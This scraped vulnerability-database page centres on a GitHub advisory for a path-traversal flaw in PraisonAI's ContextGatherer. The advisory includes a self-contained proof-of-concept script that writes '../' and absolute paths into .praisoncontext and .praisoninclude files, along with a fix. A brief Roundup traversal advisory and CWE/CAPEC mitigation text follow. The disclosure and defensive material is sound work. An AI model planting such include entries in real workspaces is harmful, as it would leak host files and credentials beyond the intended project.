            "praisoninclude_absolute_path_discloses_outside": CANARY in contexts["praisoninclude_absolute_path"],
        }

        output = {
            "source_commit": git_head(source_file),
            "source_file": str(source_file),
            "workspace_root": str(workspace),
            "outside_file": str(outside),
            "vulnerable": all(expectations.values()),
            "expectations": expectations,
            "context_contains": {
                name: {
                    "contains_inside": "INSIDE_ONLY = True" in context,
                    "contains_outside_canary": CANARY in context,
                }
                for name, context in contexts.items()
            },
            "captured_logs": logs,
        }

        print(json.dumps(redact(output, temp_root, source_file), indent=2, sort_keys=True))


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:58:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# ContextGatherer include resolution permits absolute and traversal reads outside the workspace\n\n## Summary\n\nPraisonAI\u0027s `praisonai.ui.context.ContextGatherer` treats the configured `directory` as the project workspace, but project-controlled `.praisoncontext` and `.praisoninclude` files can name absolute paths or `..` traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context.\n\n## Technical Details\n\n`ContextGatherer.get_include_paths()` reads include entries directly from `.praisoncontext` and `.praisoninclude` under the configured workspace. It stores each non-comment line as a raw include path:\n\n```python\ninclude_file = os.path.join(self.directory, \u0027.praisoncontext\u0027)\nif os.path.exists(include_file):\n    with open(include_file, \u0027r\u0027) as f:\n        include_paths.extend(\n            line.strip() for line in f\n            if line.strip() and not line.startswith(\u0027#\u0027)\n        )\n```\n\nWhen `.praisoncontext` is present, `gather_context()` passes every include entry through `os.path.join(self.directory, include_path)` and then processes the result:\n\n```python\nfor include_path in self.include_paths:\n    full_path = os.path.join(self.directory, include_path)\n    process_path(full_path)\n```\n\nThe `.praisoninclude` path has the same unsafe join after first processing the workspace:\n\n```python\nprocess_path(self.directory)\nfor include_path in self.include_paths:\n    full_path = os.path.join(self.directory, include_path)\n    process_path(full_path)\n```\n\nThere is no canonicalization or containment check before `process_path()` opens files or recursively walks directories. In Python, `os.path.join(workspace, absolute_path)` returns the absolute path and discards `workspace`; `os.path.join(workspace, \"../outside.py\")` remains outside the workspace once normalized by filesystem operations. `add_file_content()` then opens the supplied path and appends file contents to the context before display bookkeeping:\n\n```python\nwith open(file_path, \u0027r\u0027, encoding=\u0027utf-8\u0027) as f:\n    content = f.read()\n    context.append(\n        f\"File: {file_path}\\n\\n{content}\\n\\n{\u0027=\u0027 * 50}\\n\"\n    )\n    self.included_files.append(\n        Path(file_path).relative_to(self.directory)\n    )\n```\n\nFor parent traversal paths, `Path(file_path).relative_to(self.directory)` raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files.\n\n## PoV\n\nThe minimal vulnerable shape is a workspace containing only a normal source file and one include file:\n\n```text\nworkspace/\n  .praisoncontext      # contains: ../outside_secret.py\n  inside.py\noutside_secret.py      # outside the workspace\n```\n\nRunning `ContextGatherer(directory=\"workspace\").run()` returns context containing `outside_secret.py` even though that file is outside the configured workspace. The same result occurs when `.praisoncontext` contains an absolute path to the outside file, and when `.praisoninclude` contains either the parent traversal path or the absolute path.\n\n## PoC\n\nSave the self-contained script from the Appendix below as `context_include_workspace_pov.py`, then run it against a local checkout:\n\n```bash\nexport PRAISONAI=/path/to/PraisonAI\nPYTHONPATH=\"$PRAISONAI/src/praisonai\" python context_include_workspace_pov.py\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"expectations\": {\n    \"control_inside_file_is_collected\": true,\n    \"control_without_include_does_not_read_outside\": true,\n    \"praisoncontext_absolute_path_discloses_outside\": true,\n    \"praisoncontext_parent_traversal_discloses_outside\": true,\n    \"praisoninclude_absolute_path_discloses_outside\": true,\n    \"praisoninclude_parent_traversal_discloses_outside\": true\n  },\n  \"source_commit\": \"1620b49f36945d8cc8ee5635b906c960df5097a0\",\n  \"source_file\": \"$PRAISONAI/src/praisonai/praisonai/ui/context.py\",\n  \"vulnerable\": true\n}\n```\n\nThe version sweep sampled old and current releases. All sampled versions are vulnerable:\n\n```text\n{\"ref\":\"v2.3.10\",\"praisonai_version\":\"2.3.10\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v2.3.11\",\"praisonai_version\":\"2.3.11\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v3.8.1\",\"praisonai_version\":\"3.8.1\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v3.9.26\",\"praisonai_version\":\"3.9.26\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.4.12\",\"praisonai_version\":\"4.4.12\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.5.16\",\"praisonai_version\":\"4.5.16\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.5.128\",\"praisonai_version\":\"4.5.128\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.6.58\",\"praisonai_version\":\"4.6.58\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.6.62\",\"praisonai_version\":\"4.6.62\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"v4.6.63\",\"praisonai_version\":\"4.6.63\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n{\"ref\":\"HEAD\",\"praisonai_version\":\"4.6.63\",\"status\":\"vulnerable\",\"control_without_include_does_not_read_outside\":true,\"relative_praisoncontext_discloses_outside\":true,\"absolute_praisoncontext_discloses_outside\":true,\"relative_praisoninclude_discloses_outside\":true,\"absolute_praisoninclude_discloses_outside\":true}\n```\n\nNo external service, live target, real credential, model provider, or network access is needed for reproduction.\n\n## Impact\n\nIf a user or service runs PraisonAI context gathering on an attacker-influenced workspace, the attacker can cause local files outside the project root to be included in the generated context. Practical impacts include disclosure of source files from adjacent projects, local configuration, prompt transcripts, logs, API keys, and other process-readable text files with extensions that `ContextGatherer` considers relevant. If the context bundle is sent to an external model or exposed to a lower-trust caller, the file contents leave the intended workspace boundary.\n\nThis report claims confidentiality impact only. It does not claim arbitrary write, command execution, or availability impact.\n\nSuggested severity: Medium under the direct local/workspace threat model because user interaction is required to run context gathering on an attacker-influenced workspace. Deployments that automatically gather context for untrusted repositories and forward it to a third-party model may score higher.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nMake include-file path resolution fail closed around a single workspace-containment helper:\n\n1. Resolve the configured workspace root once with `Path(self.directory).resolve()`.\n2. For each include entry, reject absolute paths outside the workspace.\n3. Join relative include entries to the workspace, resolve the result, and require `resolved.relative_to(workspace_root)` to succeed before opening or walking anything.\n4. Apply the helper to both `.praisoncontext` and `.praisoninclude` processing.\n5. Reject escaped directories as well as escaped files; `process_path()` can recursively walk directories.\n6. Avoid appending file content before display/bookkeeping operations that can fail.\n7. Add regression tests for `../outside.py`, absolute outside paths, and outside directories in both `.praisoncontext` and `.praisoninclude`.\n\nMinimal containment shape:\n\n```python\ndef _resolve_workspace_include(workspace: str, include_path: str) -\u003e Path:\n    root = Path(workspace).resolve()\n    candidate = Path(include_path)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"Context include path is outside workspace: {include_path}\") from exc\n    return resolved\n```\n\n## Affected Package/Versions\n\n- Package: `PraisonAI` / `praisonai`\n- Component: `praisonai.ui.context.ContextGatherer`\n- Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n- Current package version in the tested source tree: `4.6.63`\n- Latest tested release tag: `v4.6.63`\n- Oldest sampled vulnerable release tag: `v2.3.10`\n\nSuggested affected range, based on the sampled source sweep:\n\n```text\npraisonai \u003e= 2.3.10, \u003c= 4.6.63\n```\n\nThe exact first affected released package version should be confirmed from release history; the sampled range shows the bug is longstanding and still present on current main.\n\n## Advisory History\n\nNo checked public advisory or local prior report matched `praisonai.ui.context.ContextGatherer` reading outside-workspace files because project-controlled `.praisoncontext` or `.praisoninclude` entries contain absolute paths or `..` traversal paths.\n\nClosest public comparators are related but distinct:\n\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report has an explicitly configured workspace directory and an attacker-controlled include file inside that workspace; it does not use Code tools or an unset global workspace.\n- `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers `praisonai.ui.context.ContextGatherer` include-file processing.\n- `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers `.praisoncontext`/`.praisoninclude` entries in the classic UI context gatherer.\n- `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read. This report does not use skill tools or approval-gated skill file APIs.\n- `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152` and `GHSA-693f-pf34-72c5`: FileTools/listing path traversal surfaces. This report is not in `praisonaiagents.tools.file_tools` or legacy FileTools; it discloses file content through context-gathering output.\n- `GHSA-fwh2-95jw-g4j6`: PraisonAI MultiAgentMonitor path traversal, published on 2026-06-19, affects versions before `1.5.115`. This report affects current main and `4.6.63` and is triggered by `.praisoncontext`/`.praisoninclude` include paths rather than MultiAgentMonitor path parameters.\n- `GHSA-qwwv-hc99-6f5p`, `GHSA-5fr5-2c3f-3fcr`, `GHSA-gx4r-3wg8-9w5x`, and `GHSA-x44p-gg67-52fc`: current public PraisonAI advisories for MultiAgentLedger duplicate IDs, AGUI CORS/authorization, UI approval-mode command execution, and approval cache keying. None covers `ContextGatherer`, `.praisoncontext`, `.praisoninclude`, or `praisonai.ui.context`.\n\nPublic search found no hits for `PraisonAI ContextGatherer .praisoncontext workspace boundary arbitrary file read`, `praisoninclude ContextGatherer`, or `praisonai.ui.context` in public GitHub advisory text.\n\n## References\n\n- PraisonAI repository: https://github.com/MervinPraison/PraisonAI\n- PraisonAI security advisories: https://github.com/MervinPraison/PraisonAI/security/advisories\n- GitHub Advisory Database search for PraisonAI: https://github.com/advisories?query=PraisonAI\n- `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25\n- `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g\n- `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c\n- `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf\n- `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq\n- `GHSA-fwh2-95jw-g4j6`: https://github.com/advisories/GHSA-fwh2-95jw-g4j6\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html\n\n## Appendix: Self-Contained Context Include Workspace PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"Offline PoV for PraisonAI ContextGatherer include-file workspace escape.\"\"\"\n\nfrom __future__ import annotations\n\nimport contextlib\nimport io\nimport inspect\nimport json\nimport logging\nimport subprocess\nimport tempfile\nfrom pathlib import Path\n\nfrom praisonai.ui.context import ContextGatherer\n\n\nCANARY = \"PRAISON_CONTEXT_CANARY=outside-workspace\"\nlogging.getLogger(\"praisonai.ui.context\").disabled = True\n\n\ndef imported_source_file() -\u003e Path:\n    return Path(inspect.getfile(ContextGatherer)).resolve()\n\n\ndef git_head(source_file: Path) -\u003e str:\n    try:\n        repo_root = next(parent for parent in source_file.parents if (parent / \".git\").exists())\n        return subprocess.check_output(\n            [\"git\", \"-C\", str(repo_root), \"rev-parse\", \"HEAD\"],\n            text=True,\n            stderr=subprocess.DEVNULL,\n        ).strip()\n    except Exception:\n        return \"unknown\"\n\n\ndef gather_context(workspace: Path) -\u003e tuple[str, str]:\n    stdout = io.StringIO()\n    stderr = io.StringIO()\n    with contextlib.redirect_stdout(stdout), contextlib.redirect_stderr(stderr):\n        context, _tokens, _tree = ContextGatherer(\n            directory=str(workspace),\n            max_file_size=100_000,\n            max_tokens=100_000,\n        ).run()\n    return context, stdout.getvalue() + stderr.getvalue()\n\n\ndef reset_include_files(workspace: Path) -\u003e None:\n    for name in (\".praisoncontext\", \".praisoninclude\"):\n        path = workspace / name\n        if path.exists():\n            path.unlink()\n\n\ndef redact(value, temp_root: Path, source_file: Path):\n    if isinstance(value, str):\n        source_root = next((parent for parent in source_file.parents if (parent / \".git\").exists()), source_file.parents[4])\n        return value.replace(str(temp_root), \"$TMPDIR\").replace(str(source_root), \"$PRAISONAI\")\n    if isinstance(value, list):\n        return [redact(item, temp_root, source_file) for item in value]\n    if isinstance(value, dict):\n        return {key: redact(item, temp_root, source_file) for key, item in value.items()}\n    return value\n\n\ndef main() -\u003e None:\n    source_file = imported_source_file()\n    with tempfile.TemporaryDirectory(prefix=\"praison-context-include-pov-\") as tmp:\n        temp_root = Path(tmp)\n        workspace = temp_root / \"workspace\"\n        workspace.mkdir()\n        inside = workspace / \"inside.py\"\n        outside = temp_root / \"outside_secret.py\"\n        inside.write_text(\"INSIDE_ONLY = True\\n\", encoding=\"utf-8\")\n        outside.write_text(f\"{CANARY}\\n\", encoding=\"utf-8\")\n\n        contexts = {}\n        logs = {}\n\n        reset_include_files(workspace)\n        contexts[\"control_no_include\"], logs[\"control_no_include\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoncontext\").write_text(\"../outside_secret.py\\n\", encoding=\"utf-8\")\n        contexts[\"praisoncontext_parent_traversal\"], logs[\"praisoncontext_parent_traversal\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoncontext\").write_text(str(outside) + \"\\n\", encoding=\"utf-8\")\n        contexts[\"praisoncontext_absolute_path\"], logs[\"praisoncontext_absolute_path\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoninclude\").write_text(\"../outside_secret.py\\n\", encoding=\"utf-8\")\n        contexts[\"praisoninclude_parent_traversal\"], logs[\"praisoninclude_parent_traversal\"] = gather_context(workspace)\n\n        reset_include_files(workspace)\n        (workspace / \".praisoninclude\").write_text(str(outside) + \"\\n\", encoding=\"utf-8\")\n        contexts[\"praisoninclude_absolute_path\"], logs[\"praisoninclude_absolute_path\"] = gather_context(workspace)\n\n        expectations = {\n            \"control_without_include_does_not_read_outside\": CANARY not in contexts[\"control_no_include\"],\n            \"control_inside_file_is_collected\": \"INSIDE_ONLY = True\" in contexts[\"control_no_include\"],\n            \"praisoncontext_parent_traversal_discloses_outside\": CANARY in contexts[\"praisoncontext_parent_traversal\"],\n            \"praisoncontext_absolute_path_discloses_outside\": CANARY in contexts[\"praisoncontext_absolute_path\"],\n            \"praisoninclude_parent_traversal_discloses_outside\": CANARY in contexts[\"praisoninclude_parent_traversal\"],\n            \"praisoninclude_absolute_path_discloses_outside\": CANARY in contexts[\"praisoninclude_absolute_path\"],\n        }\n\n        output = {\n            \"source_commit\": git_head(source_file),\n            \"source_file\": str(source_file),\n            \"workspace_root\": str(workspace),\n            \"outside_file\": str(outside),\n            \"vulnerable\": all(expectations.values()),\n            \"expectations\": expectations,\n            \"context_contains\": {\n                name: {\n                    \"contains_inside\": \"INSIDE_ONLY = True\" in context,\n                    \"contains_outside_canary\": CANARY in context,\n                }\n                for name, context in contexts.items()\n            },\n            \"captured_logs\": logs,\n        }\n\n        print(json.dumps(redact(output, temp_root, source_file), indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-q7m5-3jmv-vm48",
  "modified": "2026-10-08T17:58:30Z",
  "published": "2026-10-08T17:58:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-q7m5-3jmv-vm48"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61431"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-contextgatherer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace"
}

GHSA-Q7MF-HP9M-CX6F

Vulnerability from github – Published: 2022-04-29 02:59 – Updated: 2024-05-09 16:05
VLAI
Summary
Roundup Directory traversal vulnerability
Details

Directory traversal vulnerability in Roundup 0.6.4 and earlier allows remote attackers to view arbitrary files via .. (dot dot) sequences in an @@ command in an HTTP GET request.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Roundup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2004-1444"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-09T16:05:51Z",
    "nvd_published_at": "2004-12-31T05:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in Roundup 0.6.4 and earlier allows remote attackers to view arbitrary files via `..` (dot dot) sequences in an `@@` command in an HTTP GET request.",
  "id": "GHSA-q7mf-hp9m-cx6f",
  "modified": "2024-05-09T16:05:51Z",
  "published": "2022-04-29T02:59:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2004-1444"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/16350"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/roundup-tracker/roundup"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.nl/0406-exploits/roundUP.txt"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/11801"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1010415"
    },
    {
      "type": "WEB",
      "url": "http://sourceforge.net/tracker/index.php?func=detail\u0026aid=961511\u0026group_id=31577\u0026atid=402788"
    },
    {
      "type": "WEB",
      "url": "http://www.gentoo.org/security/en/glsa/glsa-200408-09.xml"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/10495"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Roundup Directory traversal vulnerability"
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.